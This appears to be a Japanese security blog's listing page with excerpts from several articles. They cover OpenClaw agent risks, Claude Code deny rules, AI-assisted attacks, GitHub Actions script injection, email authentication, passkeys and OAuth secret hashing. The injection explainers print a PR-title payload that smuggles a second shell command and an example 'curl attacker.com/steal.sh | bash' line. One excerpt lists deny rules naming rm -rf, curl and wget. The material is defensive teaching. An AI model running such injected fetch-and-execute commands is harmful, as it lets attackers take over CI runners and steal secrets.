セキュリティ

オープンソースの AI エージェントフレームワーク「OpenClaw」の利用が中国国内で急拡大する中、中国の国家コンピュータネットワーク緊急対応技術チーム（CNCERT）が緊急のセキュリティ警告を発しました。政府機関や国有銀行での使用禁止にまで発展したこの問題について、技術的な背景と対策をまとめます。 何が起きたのか 2026年3月、中国の CNCERT は OpenClaw について「極めて弱いデフォルトセキュリティ設定」を持つと警告を発しました。OpenClaw はローカルファイルシステムや環境変数へのアクセス、拡張機能のインストールなど高いシステム権限を付与されますが、デフォルトのセキュリティ設定が不十分であり、攻撃者がシステム全体の制御を容易に奪取できる状態であると指摘されています。 この警告を受けて、中国当局は政府機関と国有企業（主要銀行を含む）に対し、業務用コンピュータへの OpenClaw のインストールを禁止する通知を出しました。既にインストール済みの職員には、上司への報告・セキュリティチェック・必要に応じた削除が指示されています。 CNCERT が指摘した主なリスク 1. アーキテクチャ設計上の問題 OpenClaw はローカルファイルシステム、環境変数、シェルへの広範なアクセス権限を持ちます。これ自体は AI エージェントの機能として必要ですが、適切な制限なしに運用すると重大なリスクとなります。 2. デフォルト設定の脆弱性 管理 UI のデフォルトポートがインターネットに公開可能な状態 環境変数に認証情報を平文で保存する設定がデフォルト スキルの自動更新が有効な状態がデフォルト 3. プラグインエコシステムの危険性 不正なプラグイン（ポイズンドプラグイン）を通じて、ユーザーのシステムに悪意あるコードが侵入するリスクがあります。プラグインのアクセス権限が十分に制限されていないことが問題視されています。 4. Web ベースの攻撃 悪意ある指示を Web ページに埋め込むことで、OpenClaw に不正な操作を実行させる攻撃（プロンプトインジェクション）が可能です。 5. 重要データの誤削除 AI エージェントの判断ミスにより、ユーザーが意図しない重要データの削除が発生するリスクも指摘されています。 CNCERT の推奨対策 CNCERT は以下の対策を推奨しています。 コンテナで隔離実行する — OpenClaw をホストシステムから隔離された環境で動作させる 管理ポートをインターネットに公開しない — 管理 UI へのアクセスをローカルネットワークに限定する 認証情報を平文で環境変数に保存しない — シークレット管理ツールを使用する スキルの自動更新を無効にする — 更新は手動で検証してから適用する 厳密な認証とアクセス制御を実装する — 不要な権限を排除する セキュリティアップデートへの追従を徹底する — 既知の脆弱性に速やかに対応する AI エージェント全般への教訓 この問題は OpenClaw に限った話ではありません。AI エージェントは本質的に高いシステム権限を必要とするため、以下の原則はどのエージェントツールにも当てはまります。 ...

Claude Codeでツール実行のたびに「パスワード漏洩リスク: 0%」「悪意あるコード実行リスク: 0%」のようなセキュリティリスクのパーセンテージを表示させるCLAUDE.mdの設定がSNSで話題になった。これに対し、セキュリティエンジニアから「それは対策ではなくお気持ち表示」という指摘が上がり、議論を呼んでいる。 話題になった「パーセンテージ表示」 @wan_line_（ワン@AIのお兄さん）氏が2026年3月9日に投稿したポストでは、CLAUDE.mdに以下のようなルールを記述することが提案されていた: ツール実行のたびに パスワードが外に漏れる可能性: ○% 外部サーバーにデータが送られる可能性: ○% 悪意あるコードが動く可能性: ○% PCの設定が書き換わる可能性: ○% Claude Codeで「yes連打」してしまうユーザー向けに、実行前にリスクを可視化してくれるという趣旨だ。 セキュリティ専門家の反論:「お気持ち表示」 この投稿に対し、@sudachikawaii（シンジ☁Shinji）氏が反論した: セキュリティ屋から言うと、これは「対策」ではなく「お気持ち表示」です。LLMはコードの安全性を静的解析していないので、表示されるパーセンテージに技術的根拠がありません。 「0%」を見てyes押すのは、yes連打と同じです。 指摘のポイントは明快だ: LLMは静的解析エンジンではない — LLMが出すパーセンテージは、コードを構文解析して脆弱性を検出した結果ではなく、「それっぽい数値」を生成しているだけ 偽の安心感を与える — 「0%」という表示を見てユーザーが安心してyesを押すなら、結局yes連打と変わらない 技術的根拠がない — 実際のセキュリティリスク分析には、静的解析ツール（SAST）、依存関係チェック、ネットワーク通信の監視などが必要 Claude Codeに本当に効くセキュリティ対策 Claude Codeには、CLAUDE.mdの「お気持ちルール」よりもはるかに実効性のあるセキュリティ機能が組み込まれている。公式ドキュメントに基づき、本当にやるべき対策を整理する。 1. サンドボックスを有効にする 最も重要な対策。Bashコマンドの実行をOSレベルで隔離し、ファイルシステムやネットワークへのアクセスを制限する。 macOSではSeatbelt、LinuxではBubble Wrapが使用される /sandbox コマンドで有効化 2. denyルールで危険なコマンドをブロック permissions.deny に実行禁止コマンドを明示的に設定する。評価順は deny → ask → allow で、denyが最優先。 1 2 3 4 5 6 7 8 9 { "permissions": { "deny": [ "Bash(command:rm -rf *)", "Bash(command:curl *)", "Bash(command:wget *)" ] } } 3. 機密ファイルへのアクセスを遮断 .env やシークレットファイルへのアクセスをブロックする。 ...

「Vibe Coding」が開発者の間で広まる中、同じ発想をサイバー攻撃に応用する「Vibe Hacking」が新たな脅威として注目されている。AI を使って、専門知識がなくてもマルウェアや攻撃スクリプトを生成できる時代が到来した。 Vibe Hacking とは Vibe Hacking は、AI を活用してサイバー攻撃のハードルを劇的に下げる手法・思想を指す。開発者が自然言語で AI にコードを書かせる「Vibe Coding」のダークサイドとも言える概念だ。 従来のハッキングには、ネットワークプロトコルの理解、脆弱性の発見、エクスプロイトコードの記述といった高度な技術スキルが必要だった。しかし Vibe Hacking では「ターゲットを指定するだけ」「経験不要」「AI が処理する」といった形で、技術的な障壁がほぼ消失する。 具体的な脅威 AI 生成マルウェア HP Wolf Security の脅威インサイトレポート（2025年10月〜12月）によると、攻撃者は AI で生成した感染スクリプトを実際の攻撃キャンペーンに使用している。偽のインボイス PDF を通じて、正規のプラットフォーム（Booking.com など）へリダイレクトする前にマルウェアをダウンロードさせる手口が確認されている。 Flat-Pack Malware 複数の無関係な脅威グループが、同一のモジュール化されたマルウェアコンポーネントを再利用する「Flat-Pack Malware」も増加している。市販のマルウェア部品を組み立てるだけで、最小限の労力でカスタマイズされた攻撃キャンペーンを展開できる。 国家レベルの活用 パキスタン系の脅威アクター「Transparent Tribe」が、AI コーディングツールを使ってマルウェアを「Vibe Coding」し、インド政府やその海外大使館を標的にした事例も報告されている。 なぜ危険なのか 攻撃コストの劇的な低下 脆弱性の発見からエクスプロイト作成までのコストは、かつて数週間と数千ドルを要した。AI によりこれがほぼゼロになりつつある。「スプレー＆プレイ」型の大規模攻撃ではなく、特定のシステムや企業、さらには個々の開発者をピンポイントで狙うマイクロターゲット攻撃が現実的になった。 検出回避能力の向上 HP の調査では、メール脅威の 14% 以上がゲートウェイスキャナーを回避している。AI が生成するコードは毎回微妙に異なるため、シグネチャベースの検出が困難になっている。 Vibe Coding で作られたアプリの脆弱性 攻撃だけでなく、Vibe Coding で開発されたアプリケーション側も問題を抱えている。Veracode の GenAI コードセキュリティレポートによると、AI 生成コードの 45% にセキュリティ脆弱性が含まれている。AI はほぼ半分の確率で安全でない実装を選択する。 対策のポイント AI によるコードレビューの自動化 Vibe Coding で生成された全コードを人間がレビューするのは現実的ではない。コード生成が AI なら、レビューも AI で自動化するのが自然な流れだ。 ...

GitHub Actions スクリプトインジェクション完全解説 — ${{ }} を run に書いた瞬間、攻撃者にシェルを渡している 『GitHub CI/CD実践ガイド』著者の tmknom 氏（@tmknom）が、GitHub Actions のスクリプトインジェクションを解説した Zenn 記事を引用し、こう呼びかけています。 はい、というわけでしてね。みんな『GitHub CI/CD実践ガイド』を、穴が開くまで読んでくださいね！ 引用されている kou_pg_0131 氏の Zenn 記事は、GitHub Actions の run ステップで ${{ }} テンプレート式を使う際のインジェクション脆弱性を実演付きで解説した記事です。2025〜2026年にかけて GitHub Actions のサプライチェーン攻撃が急増しており、この知識はすべての開発者にとって必須になっています。 何が危険なのか — 30秒で理解する 1 2 # 危険なコード - run: echo "PR title is ${{ github.event.pull_request.title }}" 一見無害なこのコード。しかし攻撃者が PR タイトルに以下を入力すると、任意のコマンドが実行されます。 "; echo INJECTED" 展開後のシェルコマンドは以下になります。 1 echo "PR title is "; echo INJECTED"" セミコロンでコマンドが分割され、echo INJECTED が実行されます。echo の代わりに curl attacker.com/steal.sh | bash を書けば、CI/CD ランナー上でリバースシェルの確立、シークレットの窃取、リポジトリの改ざんが可能です。 ...

GitHub Actions スクリプトインジェクション完全解説 — ${{ }} を run に書いた瞬間、攻撃が始まる @koki_develop 氏のポストで紹介された Zenn 記事が話題になっています。 書きました。GitHub Actions 触る人は全員知っておいてほしい 【GitHub Actions】スクリプトインジェクションの実践例（koki 氏）は、GitHub Actions ワークフローにおけるスクリプトインジェクションの仕組みを具体的なコード例で解説した記事です。「プライベートリポジトリなら大丈夫？」という疑問にも明確に「安全ではない」と回答しています。 2025 年には GhostAction キャンペーンで 3,325 件のシークレットが窃取され、tj-actions/changed-files のサプライチェーン攻撃では 23,000 以上のリポジトリが影響を受けました。スクリプトインジェクションは理論上の脅威ではなく、現在進行形のリスクです。 スクリプトインジェクションとは何か GitHub Actions の ${{ }} 式は、シェルがコマンドを解析する前にテンプレートエンジンによって展開されます。この順序が脆弱性の根本原因です。 通常の期待: ${{ github.event.pull_request.title }} → 文字列として処理される 実際の動作: ${{ github.event.pull_request.title }} → 値がそのままシェルスクリプトに埋め込まれる → シェルがコマンドとして解釈する つまり、PR タイトルやブランチ名など攻撃者が制御可能な値が、そのままシェルコマンドの一部になります。 攻撃の実践例 攻撃 1: PR タイトルによるインジェクション 脆弱なワークフロー: 1 2 3 4 5 6 7 8 on: pull_request: jobs: example: runs-on: ubuntu-latest steps: - run: echo "PR title is ${{ github.event.pull_request.title }}" 攻撃者が PR タイトルを "; echo INJECTED" に設定すると: ...

上場企業3,700社のSPF/DMARC設定を全調査 — 「p=none」が半数、日本のメール認証の現在地 @yoppy0123 氏のポストが、上場企業のメール認証設定を網羅的に調査した Zenn 記事を紹介しています。 上場企業（約3,700社）を対象にSPF / DMARCの設定状況を調査した記事です。実際のところどうなんだろう？と気になっていたので、とても参考になりました！ 元記事は ext0mmy 氏による「上場企業約3,700社のSPF/DMARC設定状況調査」です。2026年3月1日時点で、JPX（日本取引所グループ）に上場する3,745社を対象に、DNS レコードから SPF と DMARC の設定状況を調査しています。 Google が Gmail の送信者ガイドラインで DMARC 対応を義務化してから2年。日本の上場企業はどこまで対応が進んだのか、調査結果を技術的な背景とともに解説します。 メール認証の基礎 — SPF・DKIM・DMARC の仕組み 調査結果を読み解くために、まずメール認証の3つの技術を整理します。 SPF（Sender Policy Framework） SPF は、メールの送信元 IP アドレスを検証する技術です。ドメインの DNS レコードに「このドメインからメールを送信してよい IP アドレスの一覧」を登録しておき、受信側がそれを照合します。 example.co.jp IN TXT "v=spf1 include:_spf.google.com ~all" 末尾の修飾子が認証失敗時のポリシーを決定します。 修飾子 意味 厳しさ +all 全て許可 設定する意味がない ~all（softfail） 認証失敗を記録するが配信は許可 緩い -all（fail） 認証失敗のメールを拒否 厳しい DKIM（DomainKeys Identified Mail） DKIM は、メールに電子署名を付与し、送信中の改ざんを検知する技術です。送信サーバがメールヘッダとボディに署名を付け、受信サーバが DNS に公開された公開鍵で検証します。SPF が「どこから送ったか」を検証するのに対し、DKIM は「改ざんされていないか」を検証します。 DMARC（Domain-based Message Authentication, Reporting and Conformance） DMARC は、SPF と DKIM の認証結果を束ねて、認証失敗時の処理方針を定めるフレームワークです。 ...

FIDO2 認証（パスキー）の仕組み — パスワードを「構造的に不要にする」技術 サイボウズのバグバウンティで複数年度 1 位の実績を持つセキュリティ研究者 @yousukezan さんのポストで紹介されていた、FIDO2 認証（パスキー）の概要記事を深掘りします。元記事は Nagano さんの Zenn 記事です。 2026 年現在、日本証券業協会がパスキー（FIDO2）の導入を必須化するガイドラインを施行し、楽天証券・SMBC 日興証券などが相次いで導入を進めています。パスキーはもはや「新しい技術」ではなく「必須のインフラ」になりつつあります。 パスワード認証の根本的な問題 パスワード認証には、仕組みそのものに起因する構造的な脆弱性があります。 graph LR USER["ユーザー"] -->|パスワードを送信| SERVER["サーバー"] ATTACKER["攻撃者"] -.->|盗聴・フィッシング| USER style USER fill:#3498db,color:#fff style SERVER fill:#2ecc71,color:#fff style ATTACKER fill:#e74c3c,color:#fff 脅威 内容 フィッシング 偽サイトにパスワードを入力させる リスト型攻撃 漏洩したパスワードを他サービスで試行 中間者攻撃 通信を傍受してパスワードを盗む サーバー侵害 サーバーに保存されたパスワードハッシュの漏洩 これらの問題は「秘密情報（パスワード）をネットワーク経由で送信する」という設計そのものに起因します。ワンタイムパスワード（OTP）でも、この根本構造は変わりません。実際、日本証券業協会は 2025 年 10 月のガイドライン改正で、OTP の利用を非推奨としています。 FIDO2 の設計思想 — 「秘密を送らない」 FIDO2 は発想を根本から変えました。秘密情報をネットワーク上に一切流さない認証方式です。 graph LR subgraph デバイス側 USER2["ユーザー"] -->|生体認証/PIN| AUTH["認証器<br/>（TPM等）"] AUTH -->|秘密鍵で署名| SIGNED["署名データ"] end subgraph サーバー側 SIGNED -->|署名のみ送信| VERIFY["公開鍵で検証"] end style USER2 fill:#3498db,color:#fff style AUTH fill:#f39c12,color:#fff style SIGNED fill:#9b59b6,color:#fff style VERIFY fill:#2ecc71,color:#fff パスワード認証では「秘密そのもの」を送信しますが、FIDO2 では「秘密鍵で作った署名」だけを送信します。秘密鍵はデバイス内の安全な領域（TPM、Secure Enclave 等）に保管され、外部に出ることはありません。 ...

django-oauth-toolkit 2.0 の client_secret ハッシュ化で外部連携が壊れた話 TL;DR django-oauth-toolkit を 1.x から 2.0 にアップグレードすると、Application.client_secret が 平文からハッシュ値に自動変換 される。この変更に気づかず、DB 上のハッシュ値を「シークレット」として外部サービスにコピーすると、二重ハッシュ で認証が通らなくなる。さらに、Application を動的に生成するコードがある場合、バージョンアップ後に平文を返すべき箇所でハッシュ値を返してしまう問題も起きる。 背景 2つの Django サービス間で OAuth2 Client Credentials Grant による認証を行っていた。 サービス 役割 django-oauth-toolkit Service A (リソースサーバー) ファイル配信 API を提供 2.4.0 Service B (クライアント) API からファイルを取得 1.7.1 Service B は Service A の OAuth2 トークンエンドポイントに HTTP Basic Auth で client_id:client_secret を送信し、アクセストークンを取得してからファイルをダウンロードする。 Service B Service A | | |-- POST /o/token/ --------------->| | Authorization: Basic base64( | | client_id:client_secret) | | |-- client_secret をハッシュ化 | |-- DB のハッシュ値と比較 |<-- access_token -----------------| | | |-- GET /api/files/ -------------->| | Authorization: Bearer token | |<-- file data --------------------| このフローは数年間安定稼働していた。 ...

CTA ビデオ埋め込み viemoなどiframe配信できるサーバーにホスティングしているビデオが対象 vimeoの muted=1&autoplay=1 でも自動再生はできない (セキュリティ上の問題。自動再生は、ユーザーのトリガーがないとしてくれないケースがある) ショートムービーをアニメーションGIFに変換: 1 ffmpeg -i input.mp4 -r 10 output.gif

Contentful CDA / CMA Contentful における Content Delivery API キーと CMA トークンの用途の違いについて説明します。 Content Delivery API キー (CDA キー) 用途: コンテンツ配信 API (CDA) へのアクセスを認証するために使用されます。 役割: 公開されたコンテンツを取得するために使用されます。ウェブサイトやモバイルアプリなどのフロントエンドアプリケーションから Contentful のコンテンツを読み込む際に、このキーが使用されます。 特徴: 読み取り専用のアクセス権を持ちます。コンテンツの作成、更新、削除などの変更操作はできません。 セキュリティ: 比較的安全性が低いとされています。キーが漏洩した場合でも、コンテンツの変更はできませんが、コンテンツを不正に取得される可能性があります。 Content Management API トークン (CMA トークン) 用途: コンテンツ管理 API (CMA) へのアクセスを認証するために使用されます。 役割: Contentful のコンテンツを管理 (作成、更新、削除など) するために使用されます。Contentful のバックエンドシステムや管理画面、または外部のツールから Contentful のコンテンツを操作する際に、このトークンが使用されます。 特徴: 読み取り/書き込みのアクセス権を持ちます。コンテンツの変更操作が可能です。 セキュリティ: 非常に高いセキュリティが必要です。トークンが漏洩した場合、コンテンツを不正に操作される可能性があります。 まとめ 機能 Content Delivery API キー Content Management API トークン 用途 コンテンツ配信 API へのアクセス コンテンツ管理 API へのアクセス 役割 公開されたコンテンツの取得 コンテンツの管理 (作成、更新、削除など) アクセス権 読み取り専用 読み取り/書き込み セキュリティ 比較的低い 非常に高い 注意点 ...